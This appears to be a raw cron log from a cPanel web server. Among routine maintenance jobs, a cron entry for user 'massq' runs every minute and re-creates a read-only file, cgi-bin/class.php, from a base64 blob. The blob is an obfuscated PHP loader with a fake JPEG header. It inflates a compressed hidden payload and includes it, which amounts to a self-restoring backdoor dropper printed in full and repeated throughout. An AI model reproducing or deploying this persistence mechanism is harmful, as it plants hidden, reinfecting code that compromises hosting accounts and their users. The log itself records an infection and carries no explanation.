NLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 09:01:01 server run-parts(/etc/cron.hourly)[7171]: starting 0anacron
Aug 31 09:01:01 server run-parts(/etc/cron.hourly)[7190]: finished 0anacron
Aug 31 09:02:01 server CROND[7651]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 09:02:01 server CROND[7652]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 09:02:01 server CROND[7653]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 09:03:01 server CROND[8033]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 09:03:01 server CROND[8034]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 09:03:01 server CROND[8035]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 09:04:01 server CROND[8414]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 09:04:01 server CROND[8413]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 09:04:01 server CROND[8415]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 09:05:01 server CROND[8806]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 09:05:01 server CROND[8808]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 09:05:01 server CROND[8810]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 09:05:01 server CROND[8812]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 09:05:01 server CROND[8814]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 09:05:01 server CROND[8818]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 09:05:01 server CROND[8813]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 09:05:01 server CROND[8819]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 09:06:01 server CROND[9926]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 09:06:01 server CROND[9927]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 09:06:01 server CROND[9928]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 09:07:01 server CROND[10356]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 09:07:01 server CROND[10358]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 09:07:01 server CROND[10357]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 09:08:01 server CROND[10774]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 09:08:01 server CROND[10775]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 09:08:01 server CROND[10776]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 09:09:01 server CROND[11150]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 09:09:01 server CROND[11151]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 31 09:09:01 server CROND[11152]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 09:09:01 server CROND[11155]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 09:10:01 server CROND[11564]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 09:10:01 server CROND[11572]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 09:10:01 server CROND[11575]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 09:10:01 server CROND[11578]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 09:10:01 server CROND[11574]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 09:10:01 server CROND[11577]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 09:10:01 server CROND[11573]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 09:10:01 server CROND[11579]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 09:11:01 server CROND[12429]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 09:11:01 server CROND[12428]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 09:11:01 server CROND[12430]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 09:12:01 server CROND[12808]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 09:12:01 server CROND[12809]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 09:12:01 server CROND[12810]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 09:12:01 server CROND[12811]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 09:13:01 server CROND[13288]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 09:13:01 server CROND[13287]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 09:13:01 server CROND[13289]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
